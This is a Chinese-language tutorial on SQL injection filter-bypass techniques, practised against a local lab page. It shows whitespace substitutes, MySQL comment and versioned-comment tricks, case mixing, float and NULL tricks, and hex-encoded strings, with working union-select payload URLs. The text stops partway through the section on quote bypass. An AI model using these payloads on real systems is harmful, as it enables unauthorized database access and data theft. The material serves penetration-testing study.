文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
SQL注入绕过技术(一)
空格绕过
在日常的sql注入中,通常会有一些防护设备,所以我们需要学习掌握sql注入绕过技术:
%09 #TAB 键(水平)
%0a #新建一行
%0c #新的一页
%0d #return 功能
%0b #TAB 键(垂直)
%a0 #空
当我们在浏览器中执行注入语句的时候,通常浏览器会自行将空格使用编码或者+号来代替:
vince%27+union+select+1%2C2+--++&submit=查询
当我们使用Burp抓包时,就可以看出已将后面的中文也进行了转码,主要的作用就是避免在数据库中查询时导致报错:
同样我们可以使用%0b来进行代替空格:
http://192.168.1.6/06/vul/sqli/sqli_str.php?name=vince%27%0bunion%0bselect%0b1%2C2%0b--++&submit=%E6%9F%A5%E8%AF%A2
这里是可以一起使用的,都不会报错的:
%0b%09%09%09 #联合起来使用
在mysql中同样可以使用下面这个来代替空格:
/**/
/*aaaabbbbs*/ #因为在这个里面所有的内容是不会被执行的
所以我们在浏览器中同样可以使用:
http://192.168.1.6/06/vul/sqli/sqli_str.php?name=vince%27%2F**%2Funion%2F*aaaaaaa*%2Fselect%2F**%2F1%2C2+--+&submit=%E6%9F%A5%E8%AF%A2
同样在mysql中还有另外一种可以代替空格:
/*!最少5位数字*/
经测试,这个比较特殊,里面是必须是5位数字,但如果超过5位,首数字要大于5,大多的解释都是说因为版本:
select * from/*!50009*/users/*!50009*/where/*!555555*/id=1;
还有就是这个语句在这个里面,它的作用是不会注释的,是数字则会:
select * from/*!44444*//*!users*/where/*!555555*/id=1;
可以看出执行语句中的users在这个注释中,但同样执行了语句,而前面是在这个注释中的是数字,则没有被执行,而且它同样可以作为空格来使用:
select * from/*!44444*//*!users*/where/*!*/id=1;
大小写绕过
我们通常也会使用将执行sql语句改成大小写,来绕过:
select * from users where id=1 UniOn SelEcT 1,2,3,4;
在浏览器中同样可以:
http://192.168.1.6/06/vul/sqli/sqli_str.php?name=vince%27+UniOn+Select+1%2C2%23+&submit=%E6%9F%A5%E8%AF%A2
浮点数绕过
使用浮点数来进行绕过:
在浏览器中利用浮点数来绕过:
http://192.168.1.6/06/vul/sqli/sqli_str.php?name=8E0' union select 1,2 -- &submit=%E6%9F%A5%E8%AF%A2
NULL值绕过
select NULL #\N NULL 都是代表NULL值
所以我们同样可以利用它来进行绕过:
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=Null union select 1,2,3,NULL;
同样在浏览器中执行:
http://192.168.1.6/06/vul/sqli/sqli_str.php?name=\N' union select database(),user()--%20&submit=%E6%9F%A5%E8%AF%A2
引号绕过
有的时候会将引号过滤,所以我们可以使用双引号来进行绕过,因为在mysql里面也可以使用双引号作为字符串:
注:但这种必须是在程序里面也使用的双引号,才能使用双引号将其闭合。
select * from users where id="1";
我们也可以将这个值改为16进制来进行绕过:
select hex('admin');
select * from users where username=0x61646D696E;
这样即便gpc开启,但注入点是整形,同样也是可以使用16进制方法来进行绕行: